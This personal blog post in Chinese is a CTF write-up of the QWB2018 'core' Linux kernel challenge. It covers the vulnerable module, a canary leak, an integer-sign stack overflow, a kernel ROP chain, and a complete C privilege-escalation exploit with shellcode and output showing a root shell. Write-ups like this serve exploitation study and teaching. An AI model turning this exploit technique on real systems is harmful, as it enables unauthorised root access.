Zj_W1nd's BLOG

Kernel Pwn从入门到入土-1

2024/07/31

如何开始分析

内核并不神秘,我们拿到二进制镜像文件也是一样打
https://bbs.kanxue.com/thread-247054.htm
附件一般包含一个内核镜像bzImage,一个qemu启动脚本,一个文件系统镜像cpio。首先当然要看qemu的启动参数,举个本题的例子:

1
2
3
4
5
6
7
8
9
qemu-system-x86_64 \
-m 64M \ # 内存容量,跑不动可以改大
-kernel ./bzImage \ # 内核镜像
-initrd ./core.cpio \ # 文件系统,ram磁盘镜像
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
# 内核附加参数,分别代表根文件系统为内存,读写模式挂载,控制台输出ttyS0,内核出错时panic然后系统1秒后重启,quiet输出,开启kaslr
-s \ # gdb附加调试端口1234(默认)
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ # 网络配置,添加一个网络设备
-nographic \ # 没有图形界面,终端应用启动

首先要先把文件拆成我们在实际机器上能访问的目录。这就需要我们把.cpio文件用cpio -idmv < core.cpio提取。不过这道题目的cpio实际上是gzip压缩后的(建议先file阅读一下,不是标准cpio运行的时候要按题目要求打包),先换成.gz文件(加个.gz后缀就行),然后gunzip解压再`cpio提取文件。

这时候我们就拿到了系统根目录的文件结构。一般会包含一个叫做init的shell脚本规定了启动开机时候的操作,这里面的内容是我们分析的入口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx # 伪终端相关,后面要是要用到单独写一篇
cat /proc/kallsyms > /tmp/kallsyms # <----注意这里
echo 1 > /proc/sys/kernel/kptr_restrict # 限制内核指针访问
echo 1 > /proc/sys/kernel/dmesg_restrict # 限制内核日志访问
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko # < ----这里,装载core模块

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

我们首先把定时关机相关的命令删掉或者注释掉。然后观察它的操作,正常的挂载可以忽略,注意这里面几个点,一个是将/proc/kallsyms复制到了/tmp/kallsyms然后卸载了/proc, 这就说明我们可以查到内核所有函数的符号地址。另一个是我们需要分析的内核模块core.ko.

题目

题目的内容很简单,放进ida一看就都能明白, 一共就6个函数:

1
2
3
4
5
6
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk(&unk_2DE);
return 0LL;
}
1
2
3
4
5
6
7
8
__int64 exit_core()
{
__int64 result; // rax

if ( core_proc )
return remove_proc_entry("core");
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD);
off = a3;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(a3);
break;
}
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 __fastcall core_read(__int64 a1)
{
char *v2; // rdi
__int64 i; // rcx
unsigned __int64 result; // rax
char v5[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+40h] [rbp-10h]

v6 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
v2 = v5;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v5, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(a1, &v5[off], 64LL); // off can be set
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}
1
2
3
4
5
6
7
8
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
printk(&unk_215);
if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
return (unsigned int)a3;
printk(&unk_230);
return 0xFFFFFFF2LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF

v2[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 )
{
printk(&unk_2A1);
return 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)a1); // stack overflow
}
return result;
}

data段开始的地址保存了内核模块的file_option结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.data:0000000000000420 _data           segment para public 'DATA' use64
.data:0000000000000420 assume cs:_data
.data:0000000000000420 ;org 420h
.data:0000000000000420 public core_fops
.data:0000000000000420 core_fops dq offset __this_module ; DATA XREF: init_module↑o
.data:0000000000000428 dq 0
.data:0000000000000430 dq 0
.data:0000000000000438 dq offset core_write
.data:0000000000000440 dq 0
.data:0000000000000448 dq 0
.data:0000000000000450 dq 0
.data:0000000000000458 dq 0
.data:0000000000000460 dq 0
.data:0000000000000468 dq offset core_ioctl
.data:0000000000000470 dq 0
.data:0000000000000478 dq 0
.data:0000000000000480 dq 0
.data:0000000000000488 dq 0
.data:0000000000000490 dq 0
.data:0000000000000498 dq offset core_release

关于file_operation, 可以参考这篇: https://blog.csdn.net/weixin_45003868/article/details/130465624

可以知道,题目的ioctl用三个操作数提供了三个函数的接口,一个从内核栈上off开始读内容到用户态,一个设置off变量,一个从name空间拷贝内容到栈上。而write则是向内核的name写入数据,最多0x800. off是我们自己传入的,传64就能把内核canary泄漏出来。

而漏洞则来源于copyfunc的时候强制转换了unsigned,整数溢出,虽然要求长度小于63,传个负数就行了,我们就能覆盖返回地址。

如何操作——Kernel ROP

思路有了,但是内核和用户态不一样,条条框框很多,不能乱搞。

commit_creds(prepare_kernel_cred(0x0))

这就是内核的shell,我们首先要拿到这两个函数的地址。利用/tmp/kallsyms就行,这个文件每一行依次是地址,类型和函数名。我们读一遍文件找函数即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64_t get_kernel_funct_addr(char* path, char* func_name){
FILE* fp = fopen(path, "r");
if(fp == NULL){
printf("[-] open %s failed\n", path);
return -1;
}
__int64_t addr=0x0;
char type[0x10];
char name[0x100];
while(fscanf(fp, "%llx%s%s", &addr, type, func_name)){
if(!strcmp(func_name,"commit_creds")){
printf("[+] %s: %p\n", func_name, addr);
fclose(fp);
return addr;
}
else if(!strcmp(func_name,"prepare_kernel_cred")){
printf("[+] %s: %p\n", func_name, addr);
fclose(fp);
return addr;
}
}
printf("[-] %s not found in %s\n", func_name, path);
fclose(fp);
return -1;
}

ROP链

我们要想用gadget,就得泄漏内核装在装载的基地址或者aslr偏移。vmlinux的镜像太大了,用ROPgadget很慢,有的gadget搜不出来(比如iretq这个)。直接用objdump效果会好很多:

objdump -j .text -d ./vmlinux | grep iretq | head -1

另外,我们计算还有一个重要依据是没被加载的内核的符号地址,类似于普通程序泄漏函数地址算libc一样,我们从vmlinux中可以搜出函数的raw_addr:

nm ./vmlinux | grep commit_creds

用这个地址和获得的地址做差就能知道aslr给的偏移是多少。然后找gadget,内核太大了,我们用ROPGadget找常规的gadget,然后写入文件去搜索:

ROPgadget --binary ./vmlinux > ./ropgadgets

另外,没有直接干净的ret结尾可以用call+一个pop平栈指令代替,也是劫持控制流。

1
2
3
4
5
6
7
8
9
10
const unsigned long long iretq = 0xffffffff81050ac2;
const unsigned long long pop_rdi__ret = 0xffffffff81000b2f;
const unsigned long long mov_rdi_rax__call_rdx = 0xffffffff8101aa6a;
const unsigned long long poprdx_ret = 0xffffffff810a0f49;
// const unsigned long long push_rax_ret = 0xffffffff8102d112;
const unsigned long long poprcx_ret = 0xffffffff81021e53;
// const unsigned long long mov_rax_rdi_ret = 0xffffffff81052d8d;
// 没有ret可以试着搜搜call
// ROPgadget --binary ./vmlinux > ./ropgadgets 然后打开文件
const unsigned long long swapgs_popfq_ret = 0xffffffff81a012da;

exp的问题

这里很奇怪,不知道为什么,用别的师傅写好的一点不改都打不通。换成CTFWiki上编译好的程序能通,但是自己编译CTFWiki的exp源码最后又不通,用一样的编译选项最后也会段错误,奇怪。参数什么都一样,难道是qemu版本问题??毕竟2018年的题了

而且内核一调试就崩溃,断在驱动运行程序就报错执行NX保护页然后重启…

1
2
3
4
5
6
7
8
9
10
11
12
[  121.126387] kernel tried to execute NX-protected page - exploit attempt? (uid: 0)
[ 121.126532] BUG: unable to handle kernel paging request at ffff8aa746620400
[ 121.126787] IP: 0xffff8aa746620400
[ 121.126885] PGD 49c1067 P4D 49c1067 PUD 49c2067 PMD 80000000066001e3
[ 121.127120] Oops: 0011 [#1] SMP NOPTI
[ 121.127224] Modules linked in: core(O)
[ 121.127511] CPU: 0 PID: 996 Comm: sh Tainted: G O 4.15.8 #19
[ 121.127578] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.4
[ 121.127753] RIP: 0010:0xffff8aa746620400
[ 121.127795] RSP: 0018:ffff8aa746603f08 EFLAGS: 00010046
[ 121.127882] RAX: 0000000000000282 RBX: ffffffffb76427e0 RCX: 00000000000001ca
[ 0.025579] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to gene

无法调试的问题解决了,根据gdb的提示,调内核分页需要root权限开gdb才行,并且我用noexec=off关了内核NX保护。另外记得用-x手动指定gdb的启动脚本,因为我们是root:

sudo gdb -x /home/zjw1nd/.gdbinit ./vmlinux

但是编译后core_copy_func仍然会在最后复制的时候报段错误,去掉了quiet参数之后结果直接一跑exp就重启…

因为只有CTFWIKI仓库的编译好的程序能打通,我用一样的代码一样的编译选项(复制粘贴)编译后关闭quiet跑了一下,触发了这个:

1
2
3
4
5
[   18.966310] core: called core_writen
[ 18.966487] core: called core_copy
[ 18.966593] core: called core_writen
[ 18.968366] traps: rop2[1003] general protection ip:405047 sp:7fffec934b08 error:0 in rop2[401000+9a000]
[ 18.969753] core: release

定位了一下,405047是起shell的前一步??

1
2
3
4
5
6
7
.text:0000000000405023                 lea     rsi, aBinSh_0   ; "/bin/sh"
.text:000000000040502A mov [rbp+var_338], rbx
.text:0000000000405031 punpcklqdq xmm0, xmm1
.text:0000000000405035 mov [rbp+var_340], rax
.text:000000000040503C mov [rbp+var_330], 0
.text:0000000000405047 movaps [rbp+var_350], xmm0
.text:000000000040504E call posix_spawn

这segfault了??说明ROP链其实起作用了但是这里有问题, ida看了两个system,首先是编译上ctfwiki版本没有一步mov rdi, rax的步骤,我们自己编译的会先把地址放进rax再放入rdi。另外就是do_system的实现差别很大,估计是静态编译libc的问题导致没法getshell。我们把spawnshell里面的system("/bin/sh")改成shellcode终于成功了。太不容易了

EXP

修改自CTF Wiki

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
// QWB2018_core [master●●] cat exploit.c 
// gcc exploit.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
char* shell="/bin/sh";
void spawn_shell()
{
if(!getuid())
{
__asm__ ("push 0x68;"
"mov rax, 0x732f2f2f6e69622f;"
"push rax;" // 64位数据不能直接push
"mov rdi, rsp;" // 第一个参数设置成了/bin///sh\x00的地址
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
"push 0x1010101 ^ 0x6873;"
"xor dword ptr [rsp], 0x1010101;"
"xor esi, esi;" /* 0 */
"push rsi;" /* null terminate */
"push 8;"
"pop rsi;"
"add rsi, rsp;"
"push rsi;" /* 'sh\x00' */
"mov rsi, rsp;"
"xor edx, edx;" /* 0 */
/* call execve() */
"push 0x3b;" /* SYS_execve */
"pop rax;"
"syscall;");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
/*
* give_to_player [master●●] check ./core.ko
./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436d
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
*/
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
/*
* give_to_player [master●●] bpython
bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/n
>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmli'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
'0x9c8e0'
*/
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}

}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}

int main()
{
save_status();
int fd = open("/proc/core", 2);
if(fd < 0)
{
puts("[*]open /proc/core error!");
exit(0);
}

find_symbols();
// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
ssize_t offset = vmlinux_base - raw_vmlinux_base;

set_off(fd, 0x40);

char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);

size_t rop[0x100] = {0};

int i;
for(i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));//这里

return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/tmp $ ./rop2
[*]status has been saved.
commit_creds addr: 0xffffffff97a9c8e0
vmlinux_base addr: 0xffffffff97a00000
prepare_kernel_cred addr: 0xffffffff97a9cce0
[*]set off to 64
[ 9.520837] core: 64
[*]read to buf.
[ 9.521186] core: called core_read
[ 9.521239] 64 000000004be36566
[+]canary: 0xa42c966b34c64300
[*]copy from user with size: -65280
[ 9.521549] core: called core_writen
[ 9.521743] core: called core_copy
/tmp # [ 9.521864] core: called core_writen
whoami
root

btw

这道题目在当年内核不那么安全的时候还有另一种解法,原理大同小异,只不过是在用户态构造好一些内容和指针(我们一般认为在用户态构造内容比在内核态容易),内核进程权限改0后直接ret2usr. 但是对于现代内核拥有SMAP/SMEP之后来说,这种办法就不那么好用了。后面应该会谈到SMAP和SMEP的绕过办法。

CATALOG
  1. 1. 如何开始分析
  2. 2. 题目
  3. 3. 如何操作——Kernel ROP
    1. 3.1. commit_creds(prepare_kernel_cred(0x0))
    2. 3.2. ROP链
    3. 3.3. exp的问题
  4. 4. EXP
  5. 5. btw